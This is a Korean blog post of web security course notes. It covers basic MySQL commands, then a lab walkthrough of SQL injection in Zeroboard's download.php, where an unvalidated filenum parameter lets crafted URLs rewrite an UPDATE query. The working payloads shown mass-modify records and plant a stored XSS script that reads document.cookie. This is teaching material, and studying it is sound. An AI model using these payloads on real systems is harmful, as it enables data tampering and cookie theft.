본문 바로가기

Computer Engineering/Security

[ESPC3] Web Secuity 0x09

From Evernote:

[ESPC3] Web Secuity 0x09

= SQL Query =
쿼리를 깊게 들어가면 6개월 한 학기 수업으로 해도 부족하닷

SQL 쿼리(Query)라고 이야기하는데 표준이 있다. Select 구문 DBMS마다 특정 쿼리...
기본적으로 My-SQL을 살펴보자. 기본 쿼리는 비슷하다.

- DDL
     => CREATE , DROP , ALTER ...
     테이블을 생성하거나 삭제하고 속성 설정하고 
- DML
     => SELECT, INSERT, DELETE, UPDATE ...
     데이터 조작어, 직접적인 조작(변경)을 하는

[root@localhost root]# mysql -u root -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 237 to server version: 4.0.20-log

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> show databases;
+----------+
| Database |
+----------+
| mysql    |
| temp     |
| test     |
| zboard   |
| zboard2  |
+----------+
5 rows in set (0.06 sec)

mysql> DROP DATABASE temp;
Query OK, 0 rows affected (0.05 sec)
=>DROP 쿼리를 날린 결과

mysql> show databases;
+----------+
| Database |
+----------+
| mysql    |
| test     |
| zboard   |
| zboard2  |
+----------+
4 rows in set (0.00 sec)
=> temp가 사라진 것을 확인할 수 있다.

이번엔 CREATE
mysql> CREATE DATABASE Jack2;
Query OK, 1 row affected (0.00 sec)

mysql> show databases;
+----------+
| Database |
+----------+
| Jack2    |
| mysql    |
| test     |
| zboard   |
| zboard2  |
+----------+
5 rows in set (0.00 sec)

=> Jack2 가 생겼다.

위에서 mysql 데이터베이스는 mysql의 시스템 데이터가 담겨져 있다.

mysql> use Jack2;
Database changed
mysql> show tables;
Empty set (0.00 sec)
=> 현재에는 테이블을 확인해도 비어있는 상태라는 것을 확인할 수 있다.

이번엔 Table 을 생성해보자!

mysql> CREATE TABLE news (
    -> id INT,
    -> title VARCHAR(20),
    -> News VARCHAR(50));

Query OK, 0 rows affected (0.02 sec)

mysql> show tables;
+-----------------+
| Tables_in_Jack2 |
+-----------------+
| news            |
+-----------------+
1 row in set (0.00 sec)

mysql> desc news;
+-------+-------------+------+-----+---------+-------+
| Field | Type        | Null | Key | Default | Extra |
+-------+-------------+------+-----+---------+-------+
| id    | int(11)     | YES  |     | NULL    |       |
| title | varchar(20) | YES  |     | NULL    |       |
| News  | varchar(50) | YES  |     | NULL    |       |
+-------+-------------+------+-----+---------+-------+
3 rows in set (0.00 sec)

DROP 같은 경우에는 관리자만 사용할 수 있게 막아놓는다.
Table이 모두 날라갈 수 있기 때문이다. 이런 명령어가 있다는 것을 알아두자.

mysql> SELECT * FROM news;
Empty set (0.01 sec)
=> 현재는 비어있어서 SELECT 쿼리를 날려도 아무 결과가 나오지 않는다.

그래서 Table안에 내용을 입력해보자!
mysql> INSERT INTO news (id,title,News) VALUES(1,'Test1','Yesterday is');
Query OK, 1 row affected (0.00 sec)

다시 SELECT문을 날리면 정보를 확인할 수 있다.
mysql> SELECT * FROM news;
+------+-------+--------------+
| id   | title | News         |
+------+-------+--------------+
|    1 | Test1 | Yesterday is |
+------+-------+--------------+
1 row in set (0.00 sec)

mysql> INSERT INTO news VALUES(2,'Test2','Restart');                   
Query OK, 1 row affected (0.00 sec)
=> INSERT문을 이렇게 사용해도 된다!!

mysql> SELECT * FROM news;
+------+-------+--------------+
| id   | title | News         |
+------+-------+--------------+
|    1 | Test1 | Yesterday is |
|    2 | Test2 | Restart      |
+------+-------+--------------+
2 rows in set (0.00 sec)

INSERT와 다르게 삭제를 하는 DELETE쿼리를 입력해보자!
mysql> DELETE FROM news WHERE id='2';
Query OK, 1 row affected (0.00 sec)

mysql> SELECT * FROM news;
+------+-------+--------------+
| id   | title | News         |
+------+-------+--------------+
|    1 | Test1 | Yesterday is |
+------+-------+--------------+
1 row in set (0.00 sec)

이번엔 table 값을 수정하는 UPDATE문에 대해서 알아보자!!
mysql> UPDATE news SET News='Restart' WHERE News='Yesterday is';
Query OK, 1 row affected (0.00 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> SELECT * FROM news;
+------+-------+---------+
| id   | title | News    |
+------+-------+---------+
|    1 | Test1 | Restart |
+------+-------+---------+
1 row in set (0.00 sec)
=> Yesterday 에서 Restart로 바뀐것을 확인할 수 있다.

잠시 My-SQL 을 꺼두자
[root@localhost root]# /usr/local/mysql/bin/mysqladmin -u root -p shutdown
Enter password:
[root@localhost root]# /usr/local/mysql/bin/mysqld_safe --log=query.log &
=> 모든 쿼리들이 query.log 에 저장이 된다.
[1] 2799
[root@localhost root]# Starting mysqld daemon with databases from /usr/local/mysql/data

이 쿼리파일은 여기에서 확인할 수 있다.
[root@localhost root]# tail -f /usr/local/mysql/data/query.log

                     38 Query       select min(division) from zetyx_division_asd where num>0
                     38 Query       select division,headnum,arrangenum from zetyx_board_asd where division='1' order by headnum,arrangenum limit 0, 20
                     38 Query       select * from zetyx_board_asd where  (division='1' and headnum='-1' and arrangenum='0')  order by headnum,arrangenum
                     38 Query       select no,name from zetyx_admin_table where no!='1'
                     38 Query       select count(*) from zetyx_now_connect
                     38 Query       select count(*) from zetyx_now_connect where group_no='1'
                     38 Quit
/usr/local/mysql/libexec/mysqld, Version: 4.0.20-log, started with:
Tcp port: 3306  Unix socket: /tmp/mysql.sock
파일 다운로드를 클릭하면
98f90f1a35e8fa386cb74340785d7f

Time                 Id Command    Argument
120121 20:57:34       1 Connect     root@localhost on
                      1 Init DB     zboard2
                      1 Query       delete from zetyx_now_connect where 1327147054 - logtime > 3600
                      1 Query       select * from zetyx_admin_table where name='test'
                      1 Query       select * from zetyx_group_table where no='1'
                      1 Query       select count(*) from zetyx_now_connect where user_id='admin'
                      1 Query       update zetyx_now_connect set logtime='1327147054' where user_id='admin'
                      1 Query       select * from zetyx_member_table where user_id='admin' and password='067fdb130d7e610e'
                      1 Query       update zetyx_board_test set download1=download1+1 where no='9'
                      1 Query       select * from  zetyx_board_test  where no='9'
                      1 Quit
.
.
.
.
=> 실제 어떤 코드에서 취약점이 발생하는지 알아보자!
[root@localhost root]# cd /home/test/public_html/bbs/
[root@localhost bbs]# vi download.php
.
.
.
     43   // 현재글의 Download 수를 올림;;
     44   mysql_query("update $t_board"."_$id set download".$filenum."=        download".$filenum."+1 where no='$no'");
     45
=> 다운로드 시에 이 쿼리가 실행이 되는 것이다!! ".$filenum."을 인증하지 않는 것이다.

다시 DB로 넘어가보자
[root@localhost bbs]# mysql -u root -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 3 to server version: 4.0.20-log

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> show databases;
+----------+
| Database |
+----------+
| Jack2    |
| mysql    |
| test     |
| zboard   |
| zboard2  |
+----------+
5 rows in set (0.00 sec)

mysql> use zboard2;
Database changed
mysql> show tables;
+---------------------------+
| Tables_in_zboard2         |
+---------------------------+
| zetyx_admin_table         |
| zetyx_board_category_test |
| zetyx_board_comment_test  |
| zetyx_board_test          |
| zetyx_division_test       |
| zetyx_get_memo            |
| zetyx_group_table         |
| zetyx_member_table        |
| zetyx_now_connect         |
| zetyx_send_memo           |
+---------------------------+
10 rows in set (0.00 sec)

//게시판과 관련된 DB
mysql> desc zetyx_board_test;
+---------------+------------------+------+-----+---------+----------------+
| Field         | Type             | Null | Key | Default | Extra          |
+---------------+------------------+------+-----+---------+----------------+
| no            | int(20) unsigned |      | PRI | NULL    | auto_increment |
| division      | int(10)          |      | MUL | 1       |                |
| headnum       | int(20)          |      |     | 0       |                |
| arrangenum    | int(20)          |      |     | 0       |                |
| depth         | int(10) unsigned |      | MUL | 0       |                |
| prev_no       | int(20)          |      | MUL | 0       |                |
| next_no       | int(20)          |      | MUL | 0       |                |
| father        | int(20)          |      | MUL | 0       |                |
| child         | int(20)          |      |     | 0       |                |
| ismember      | int(20)          |      |     | 0       |                |
| islevel       | int(2)           |      |     | 10      |                |
| memo          | text             | YES  |     | NULL    |                |
| ip            | varchar(15)      | YES  |     | NULL    |                |
| password      | varchar(20)      | YES  |     | NULL    |                |
| name          | varchar(20)      |      | MUL |         |                |
| homepage      | varchar(255)     | YES  |     | NULL    |                |
| email         | varchar(255)     | YES  |     | NULL    |                |
| subject       | varchar(250)     |      |     |         |                |
| use_html      | char(1)          | YES  |     | 0       |                |
| reply_mail    | char(1)          | YES  |     | 0       |                |
| category      | int(11)          |      | MUL | 1       |                |
| is_secret     | char(1)          |      |     | 0       |                |
| sitelink1     | varchar(255)     | YES  |     | NULL    |                |
| sitelink2     | varchar(255)     | YES  |     | NULL    |                |
| file_name1    | varchar(255)     | YES  |     | NULL    |                |
| file_name2    | varchar(255)     | YES  |     | NULL    |                |
| s_file_name1  | varchar(255)     | YES  |     | NULL    |                |
| s_file_name2  | varchar(255)     | YES  |     | NULL    |                |
| download1     | int(11)          |      | MUL | 0       |                |
| download2     | int(11)          |      | MUL | 0       |                |
| reg_date      | int(13)          |      | MUL | 0       |                |
| hit           | int(11)          |      | MUL | 0       |                |
| vote          | int(11)          |      | MUL | 0       |                |
| total_comment | int(11)          |      |     | 0       |                |
| x             | varchar(255)     | YES  |     | NULL    |                |
| y             | varchar(255)     | YES  |     | NULL    |                |
+---------------+------------------+------+-----+---------+----------------+
36 rows in set (0.00 sec)

mysql> SELECT no, memo, download1 FROM zetyx_board_test WHERE no='9';
+----+----------+-----------+
| no | memo     | download1 |
+----+----------+-----------+
|  9 | 다운로드 |         1 |
+----+----------+-----------+
1 row in set (0.01 sec)

실제 Data 값이 DB에 들어가 있는 것을 확인할 수 있다.

9dc4b6dc8790a6190c6704155d5958

//UPDATE문을 날려준다.
mysql> update zetyx_board_test set download1=100 where no='9';         
Query OK, 1 row affected (0.00 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> SELECT no, memo, download1 FROM zetyx_board_test WHERE no='9';
+----+----------+-----------+
| no | memo     | download1 |
+----+----------+-----------+
|  9 | 다운로드 |       100 |
+----+----------+-----------+
1 row in set (0.00 sec)

=> 다운로드 횟수가 100으로 변경된 것을 확인할 수 있다.
A6f681df3be7a93cbf2f8e508cc6fa

이제는 웹에서 Injection을 해보자!!
취약점이 일어나는 파일은 위에서 확인했듯이 download.php

download.php?id=test&page=1&sn1=&divpage=1&select_arrange=headnum&desc=asc&sn=off&ss=on&sc=on&no=9&filenum=1=1000/*

mysql> SELECT no, memo, download1 FROM zetyx_board_test WHERE no='9';
+----+----------+-----------+
| no | memo     | download1 |
+----+----------+-----------+
|  9 | 다운로드 |      1000 |
+----+----------+-----------+
1 row in set (0.00 sec)

7d2245439d8429e14c20a60bdbbbf6

=> 주소창에 위처럼 입력한 결과 download=1000이 된 것을 DB와 웹상에서 확인할 수 있다.

[root@localhost bbs]# tail -f /usr/local/mysql/data/query.log
.
.
.
 7 Query  update zetyx_board_test set download1=1000/*=download1=1000/*+1 where no='9'
.
.
.
mysql_query("update $t_board"."_$id set download".$filenum."=        download".$filenum."+1 where no='$no'"); 
=> 원래 이런 UPDATE문에서  이렇게 앞 뒤로 주석 처리가 되어서 ".$filenum." 
이 부분에 1=1000/* 이 들어간 것이다. 그 결과 /*=download1=1000/*+1 where no='9' 은 주석처리가 되어서 모든 download 수가 1000으로 바뀐 것이다. WHERE 절이 안들어 갔으므로 모든 대상을 이야기 하는 것이다.

//DB상에서 확인을 한 결과
mysql> SELECT download1 FROM zetyx_board_test ;
+-----------+
| download1 |
+-----------+
|      1000 |
|      1000 |
|      1000 |
|      1000 |
|      1000 |
|      1000 |
|      1000 |
|      1000 |
|      1000 |
+-----------+
9 rows in set (0.00 sec)
=> 모두 1000으로 바뀐 것을 확인할 수 있다.

mysql> UPDATE  zetyx_board_test SET s_file_name1='../write.php'
download.php?id=test&page=1&sn1=&divpage=1&select_arrange=headnum&desc=asc&sn=off&ss=on&sc=on&no=9&filenum=1=1000/*

[root@localhost bbs]# vi /usr/local/lib/php.ini
.
.
.
; Magic quotes for incoming GET/POST/Cookie data.
magic_quotes_gpc = Off
(On -> Off)로 바꾸어 준다.
[root@localhost bbs]# /usr/local/apache/ restart

download.php?id=test&page=1&sn1=&divpage=1&select_arrange=headnum&desc=asc&sn=off&ss=on&sc=on&no=9&filenum=1=download1, memo='Changed!!'/*

mysql> SELECT memo FROM zetyx_board_test WHERE no='9';
+-----------+
| memo      |
+-----------+
| Changed!! |
+-----------+
1 row in set (0.00 sec)

// Image 나오게 하기
download.php?id=test&page=1&sn1=&divpage=1&select_arrange=headnum&desc=asc&sn=off&ss=on&sc=on&no=9&filenum=1=download1, memo='<img src="http://www.centerstageartists.com/images/artists/BeatlesTribute/yesterday2.jpg" />'/*

//Script 삽입
download.php?id=test&page=1&sn1=&divpage=1&select_arrange=headnum&desc=asc&sn=off&ss=on&sc=on&no=9&filenum=1=download1, memo='<script> alert(document.cookie); </script>' where no='9'/*
Ec62cade0d79e21feab7b8ca84109a

Posted via email from zzackzack2's Space

'Computer Engineering > Security' 카테고리의 다른 글

[ESPC3] Web Secuity 0x0A  (0) 2012.02.01
[WebScrab]WebScarab Getting Started - OWASP  (0) 2012.01.14
[퍼옴]2011년 주요 보안 이슈 정리 및 2012년 보안 이슈 전망  (0) 2011.12.12
[ESPC]0x01  (0) 2011.11.14
[ESPC]0x00  (0) 2011.11.14